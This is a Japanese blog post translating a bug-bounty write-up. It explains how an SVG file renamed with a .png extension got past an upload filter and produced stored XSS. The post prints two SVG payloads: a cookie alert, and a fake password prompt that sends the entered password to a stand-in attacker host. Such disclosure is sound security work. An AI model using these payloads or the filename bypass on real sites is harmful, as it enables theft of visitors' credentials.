Shikata Ga Nai

Private? There is no such things.

How I was rewarded a $1000 bounty after abusing File Upload functionality to Stored XSS Vulnerability leading to credential theft of a vistor in a website.を訳してみた

Hello there, ('ω')ノ

 

Stored XSS Vulnerabilityへのファイルアップロード機能を悪用して。

Webサイトのビジターの資格情報を盗んだ後、$1000の報奨金を受け取った方法を。

 

脆弱性:

 無制限のファイルアップロード

 保存されたXSS

 

記事:

 https://kunalkhubchandani.medium.com/how-i-was-rewarded-a-1000-bounty-after-abusing-file-upload-functionality-to-stored-xss-945a40ac6f94

 

今日は、保存されたXSSでファイルがアップロードされるURLを。

与えられた被害者の資格情報の盗難につながて。

 

昨今、バグハンターは、XSS、SQLIなどの技術的な脆弱性よりも。

ビジネスロジックの脆弱性を見つけることに重点を置いていると思っていて。

これは、Webアプリケーションのセキュリティが向上しているためで。

ただ、ファイルのアップロードなどの技術的脆弱性を見つけることもまだできて。

 

1.提供された資格情報を使用してWebアプリケーションにログインして。

2.手動で列挙して。

3.アプリケーションには非常に多くのWebフォームがあって。

 

f:id:ThisIsOne:20210904103545p:plain

 

4.このフォームにはさまざまなテキストフィールドがあって。

 フォームを手動でファジングして。

 sqli、xss、sstiなどの脆弱性を見つけようとしたもののうまくいかず。

 ロゴ、背景画像、広告画像が私の注意を引いたので。

 悪意のある細工されたファイルをアップロードして。

 何が起こるかを確認することに。

 

f:id:ThisIsOne:20210904103800p:plain

 

5.このファイルをアップロードすると、エラーが発生したので。

 画像ファイルの形式はgif、png、jpgまたはjpegである必要があるようで。

 

f:id:ThisIsOne:20210904103825p:plain

 

6.ファイル名を「fileupload.svg」から「Fileupload.svg.png」に変更すると。

 正常にアップロードされて。

 

f:id:ThisIsOne:20210904103914p:plain

 

7.[Next]をクリックすると。

 これらのファイルにアクセスできるエンドポイントにリダイレクトされるようで。

 

f:id:ThisIsOne:20210904103852p:plain

 

8.[View Image]をクリックするとペイロードが実行されたので。

 

f:id:ThisIsOne:20210904103945p:plain

 

下記のアップロードしたSvgペイロードファイルを。

 

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>

 <script type=”text/javascript”>
  alert(document.cookie);
 </script>
</svg>

 

下記のように変更して、クレデンシャルを盗むことに。

 

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>

 <script> 
  var passwd = prompt("Enter your password to continue");
  var xhr = new XMLHttpRequest();
  xhr.open("GET","https://attacker-url.com/log.php?password="+encodeURI(passwd));
  xhr.send();

 </script>
</svg>

 

9.この変更したペイロードファイルを3か所に再度アップロードして。

f:id:ThisIsOne:20210904104211p:plain

 

f:id:ThisIsOne:20210904104130p:plain

 

10.アップロード後に下記にアクセスして。

 

f:id:ThisIsOne:20210904104107p:plain

 

11.緑色のsvg画像を表示すると、パスワード入力のペイロードが実行されて。

 

f:id:ThisIsOne:20210904104044p:plain

 

下記のようにパスワードが取得できて。

 

f:id:ThisIsOne:20210904104016p:plain

 

Best regards, (^^ゞ